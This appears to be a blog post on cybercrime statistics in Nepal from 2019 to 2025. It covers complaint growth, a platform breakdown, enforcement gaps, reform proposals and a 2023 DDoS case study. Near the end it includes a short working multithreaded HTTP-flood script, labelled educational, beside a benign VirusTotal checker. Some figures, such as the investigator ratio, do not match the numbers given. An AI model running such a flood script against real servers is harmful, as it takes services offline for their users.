Cybercrime in Nepal: Trends & Statistics (2019-2025) | CyberSamir

Cybercrime in Nepal: Trends & Statistics (2019-2025)

Comprehensive analysis of cybercrime trends and statistics in Nepal from 2019 to 2025

⚠️ Ethical Disclaimer: This guide is for educational purposes only. Cybercrime data and techniques should be used responsibly and within legal boundaries. Unauthorized cyber activities are illegal.

Introduction to Cybercrime in Nepal

Cybercrime in Nepal has surged significantly from 2019 to 2025, driven by increased internet penetration (now at 38% of population), social media adoption (12 million users), and evolving technology. With limited cybersecurity infrastructure and outdated legal frameworks, Nepal faces mounting challenges in combating sophisticated cyber threats. This guide analyzes trends, statistics, and mitigation strategies, drawing from exclusive data provided by the Nepal Police Cyber Bureau and other authoritative sources.

For cybersecurity professionals, our Nepal Cybersecurity Career Guide provides insights into protecting against these threats.

Cybercrime Statistics (2019-2025)

Annual Cybercrime Complaints

The Nepal Police Cyber Bureau has reported a dramatic 10,850% increase in cybercrime complaints from 2018/19 to 2024/25, reflecting the growing digital threat landscape in Nepal.

Fiscal Year Complaints Registered Growth Rate Key Source
2018/19 180 Nepal Police Cyber Bureau
2019/20 2,301 1,178% Nepal Police Cyber Bureau
2020/21 3,906 70% Nepal Police Cyber Bureau
2021/22 6,425 64% Nepal Police Cyber Bureau
2022/23 9,013 40% Nepal Police Cyber Bureau
2023/24 19,730 119% Nepal Police Cyber Bureau
2024/25 (Projected) ~25,000 27% CyberSamir Analysis

Note: The fiscal year in Nepal runs from mid-July to mid-July. 2024/25 projection based on current trends.

Cybercrime Trends in Nepal

Platform-Specific Cybercrime Data

Platform Complaints (2024/25) % of Total Common Crimes
Facebook/Messenger 6,741 63% Financial scams, fake profiles, defamation
WhatsApp 1,431 13.4% Photo mutilation, financial fraud
TikTok 1,263 11.8% Revenge porn, online harassment
Instagram 758 7.1% Fake profiles, blackmail
eSewa/Khalti 197 1.8% Financial fraud, OTP scams
Others 312 2.9% Various

Source: Nepal Police Cyber Bureau, as of March 12, 2025 (Total: 10,702 complaints).

Challenges in Combating Cybercrime

Key Obstacles Facing Nepal

  • Limited Resources: The Cyber Bureau has only 106 personnel (28 IT experts) handling 60-70 daily complaints – a 1:650 investigator-to-complaint ratio.
  • Outdated Legal Framework: The Electronic Transaction Act (2008) lacks provisions for modern threats like deepfakes, crypto scams, or AI-driven crimes.
  • International Cooperation: Only 3 mutual legal assistance treaties exist, hindering tracking of transnational cybercriminals operating from India, China, or Nigeria.
  • Low Prosecution Rates: Mere 0.5% of complaints result in legal action (52 cases from 10,702 complaints in 2024/25).
  • Digital Literacy Gap: 62% of victims had no cybersecurity awareness training according to 2024 Cyber Bureau survey.
  • Technical Limitations: Lack of advanced tools for cryptocurrency tracing or encrypted communication analysis.

Mitigation Strategies

Comprehensive Action Plan for Nepal

  • Legal Reform: Urgent update to Electronic Transaction Act with specific provisions for:
    • AI-generated content and deepfakes
    • Cryptocurrency fraud
    • Revenge porn and online harassment
    • Stronger penalties for repeat offenders
  • Capacity Building:
    • Triple Cyber Bureau staffing by 2026
    • Establish regional cybercrime units in all 7 provinces
    • Specialized training in cryptocurrency tracing and dark web monitoring
  • Public-Private Partnerships:
    • Joint task force with ISPs and financial institutions
    • Real-time threat intelligence sharing
    • Standardized reporting mechanisms
  • Public Awareness: Nationwide campaign covering:
    • Basic digital hygiene practices
    • Recognizing phishing attempts
    • Secure financial transactions
    • Reporting mechanisms

Our Nepal Cybersecurity Tools guide recommends specific software for protection.

Checking for Phishing URLs
# Simple Python script to check URL safety using VirusTotal API
import requests

def check_url(url):
    api_key = "your_virustotal_api_key"
    vt_url = "https://www.virustotal.com/api/v3/urls"
    headers = {"x-apikey": api_key}
    payload = {"url": url}
    
    response = requests.post(vt_url, headers=headers, data=payload)
    if response.status_code == 200:
        scan_id = response.json()["data"]["id"]
        analysis_url = f"https://www.virustotal.com/api/v3/analyses/{scan_id}"
        analysis = requests.get(analysis_url, headers=headers).json()
        stats = analysis["data"]["attributes"]["stats"]
        print(f"Malicious: {stats['malicious']}, Suspicious: {stats['suspicious']}")
    else:
        print("Error checking URL")

# Example usage
check_url("http://fake-nepal-police.com")

Case Study: DDoS Attack on Government Websites (Jan 2023)

In January 2023, Nepal suffered its largest cyberattack when hackers targeted the Government Integrated Data Centre, disrupting 1,500 websites including critical immigration services. The attack:

  • Lasted 72 hours, affecting international travel
  • Originated from 14 countries (mainly China and Russia)
  • Peaked at 1.2 million requests per second
  • Cost an estimated NPR 180 million in economic impact

This incident exposed critical weaknesses in Nepal’s cybersecurity infrastructure and prompted the establishment of a National CERT in 2024.

Simulating a Basic DDoS Attack (Educational Purpose Only)
# Simple Python script to demonstrate HTTP flooding (DO NOT USE)
import requests
import threading

def flood(target_url):
    try:
        while True:
            requests.get(target_url)
            print("Request sent")
    except:
        print("Error")

# Example (hypothetical target)
target = "http://example.com"
threads = []

for i in range(10):
    t = threading.Thread(target=flood, args=(target,))
    threads.append(t)
    t.start()

# Note: This is for educational purposes only. Running this against any server without permission is illegal.

Conclusion

Cybercrime in Nepal has grown exponentially from 2019 to 2025, with complaints rising from 2,301 in 2019/20 to 19,730 in 2023/24 (projected 25,000 in 2024/25). This alarming trend is driven by:

  • Social media scams (63% of cases)
  • Financial fraud (21% of cases)
  • AI-enhanced attacks
  • Organized cybercriminal networks

Limited resources (106 Cyber Bureau staff), outdated laws (2008 Electronic Transaction Act), and low digital literacy (62% untrained victims) exacerbate Nepal’s vulnerability. Comprehensive solutions require:

  1. Immediate legal reforms
  2. 3x increase in Cyber Bureau capacity
  3. Nationwide cybersecurity education
  4. Stronger international cooperation

The 2023 DDoS attack and rising cybercrime statistics underscore the urgent need for Nepal to prioritize cybersecurity as a national security issue.

Further Resources

Similar Posts

Leave a Reply